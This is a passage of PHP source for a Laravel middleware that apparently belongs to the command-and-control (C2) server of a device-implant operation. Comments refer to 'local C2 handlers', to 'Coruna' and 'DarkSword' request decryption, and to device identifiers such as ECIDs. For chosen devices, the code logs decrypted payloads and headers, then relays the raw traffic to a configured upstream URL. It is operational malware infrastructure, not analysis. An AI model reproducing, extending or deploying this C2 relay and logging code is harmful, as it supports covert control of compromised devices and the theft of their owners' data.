resolveDeviceKey($request); if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) { try { return $this->intercept($request, $deviceKey); } catch (\Throwable $e) { Log::warning('intercept middleware error: '.$e->getMessage(), [ 'device_key' => $deviceKey, ]); return response('', 502); } } return $next($request); } /** * Resolve the normalized device key for this request. * * Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody. * Falls back to request input fields (d / f / ecid, then uuid / lhu) * for multipart or DarkSword requests where decrypt skipped the attribute. */ private function resolveDeviceKey(Request $request): string { $key = $request->attributes->get('coruna_device_key'); if (is_string($key) && $key !== '') { return $key; } foreach (['d', 'f', 'ecid'] as $field) { $value = $request->input($field); if (is_string($value) && $value !== '') { return IngestService::normalizeDeviceKey(substr($value, 0, 64)) ?? ''; } } foreach (['uuid', 'lhu', 'deviceUUID', 'device_uuid'] as $field) { $value = $request->input($field); if (is_string($value) && $value !== '') { return Device::normalizeDarkswordKey($value) ?? ''; } } return ''; } /** * Case-insensitive membership check against the configured device list. */ private function shouldIntercept(string $deviceKey): bool { $list = config('coruna.intercept.device_keys', []); if (! is_array($list) || $list === []) { return false; } return in_array(strtolower($deviceKey), $list, true); } /** * Log + proxy. Does not fall through to local C2 handlers. */ private function intercept(Request $request, string $deviceKey): Response { $meta = $this->collectMeta($request, $deviceKey); $this->writeLog($meta); return $this->forward($request, $meta); } /** * Gather request metadata for the intercept log. */ private function collectMeta(Request $request, string $deviceKey): array { $path = '/'.ltrim($request->path(), '/'); return [ 'time' => date('Y-m-d H:i:s'), 'device_key' => $deviceKey, 'method' => $request->method(), 'path' => $path, 'uri' => $request->getRequestUri(), 'ip' => VisitorIp::fromRequest($request), 'remote_addr' => $request->server->get('REMOTE_ADDR'), 'host' => $request->getHost(), 'content_type' => (string) $request->header('content-type'), 'content_length' => strlen($request->getContent()), 'headers' => $this->collectHeaders($request), 'payload' => $this->collectPayload($request), 'decrypt_ok' => (bool) $request->attributes->get('coruna_decrypt_ok'), ]; } /** * Select headers worth recording (skip cookie / authorization for safety). */ private function collectHeaders(Request $request): array { $headers = []; foreach ([ 'x-ts', 'x-hash', 'timestamp', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent', 'host', 'cf-connecting-ip', 'cf-ipcountry', 'x-forwarded-for', 'x-real-ip', ] as $h) { if ($request->headers->has($h)) { $headers[$h] = $request->headers->get($h); } } return $headers; } /** * Best-effort payload snapshot for the log. * * Uses the decrypted payload when the decrypt middleware set it; * otherwise records the raw body (truncated for very large uploads). */ private function collectPayload(Request $request): mixed { $payload = $request->attributes->get('coruna_payload'); if (is_array($payload)) { return $payload; } $raw = $request->getContent(); if (strlen($raw) > 200000) { return ['_raw_truncated' => substr($raw, 0, 200000)]; } return $raw === '' ? null : ['_raw' => $raw]; } /** * Append the interception record to public/log/intercept/Ymd.log. */ private function writeLog(array $meta): void { $logPath = public_path('log/intercept'); if (! is_dir($logPath) && ! @mkdir($logPath, 0775, true) && ! is_dir($logPath)) { return; } $logName = $logPath.'/'.date('Ymd').'.log'; $line = $meta['time'].' '.$meta['method'].' '.$meta['uri'].' ' .json_encode($meta, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ."\r\n\r\n"; $isNew = ! file_exists($logName); if (@file_put_contents($logName, $line, FILE_APPEND) === false) { return; } if ($isNew) { @chmod($logName, 0664); } } /** * Proxy the raw request to the configured forward URL and return its response. * * Preserves method, path, query string, headers, and body — only the * host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL. */ private function forward(Request $request, array $meta): Response { $baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/'); if ($baseUrl === '') { $this->writeForwardLog($meta, '', 0, 'INTERCEPT_FORWARD_URL empty'); return response('', 502); } $target = $baseUrl.$request->getRequestUri(); $headers = []; $skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect']; foreach ($request->headers->all() as $name => $values) { if (in_array(strtolower($name), $skip, true)) { continue; } $headers[$name] = $values; } $body = $request->getContent(); $timeout = (int) config('coruna.intercept.forward_timeout', 10); try { $resp = Http::withHeaders($headers) ->timeout($timeout) ->connectTimeout(min($timeout, 5)) ->send($request->method(), $target, [ 'body' => $body, 'allow_redirects' => false, ]); $remoteBody = (string) $resp->body(); $this->writeForwardLog($meta, $target, $resp->status(), $remoteBody); return $this->clientResponse($resp->status(), $remoteBody, $resp->header('Content-Type')); } catch (\Throwable $e) { $this->writeForwardLog($meta, $target, 0, $e->getMessage()); return response('', 502); } } private function clientResponse(int $status, string $body, ?string $contentType): Response { $out = response($body, $status > 0 ? $status : 502); if (is_string($contentType) && $contentType !== '') { $out->headers->set('Content-Type', $contentType); } return $out; } /** * Record the forwarding result alongside the interception log. */ private function writeForwardLog(array $meta, string $target, int $status, string $body): void { $logPath = public_path('log/intercept'); if (! is_dir($logPath)) { return; } $logName = $logPath.'/'.date('Ymd').'.log'; $entry = [ 'time' => date('Y-m-d H:i:s'), 'dir' => 'forward', 'device_key' => $meta['device_key'], 'target' => $target, 'status' => $status, 'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body, ]; $line = $entry['time'].' FORWARD '.$entry['target'].' ' .json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ."\r\n\r\n"; @file_put_contents($logName, $line, FILE_APPEND); } }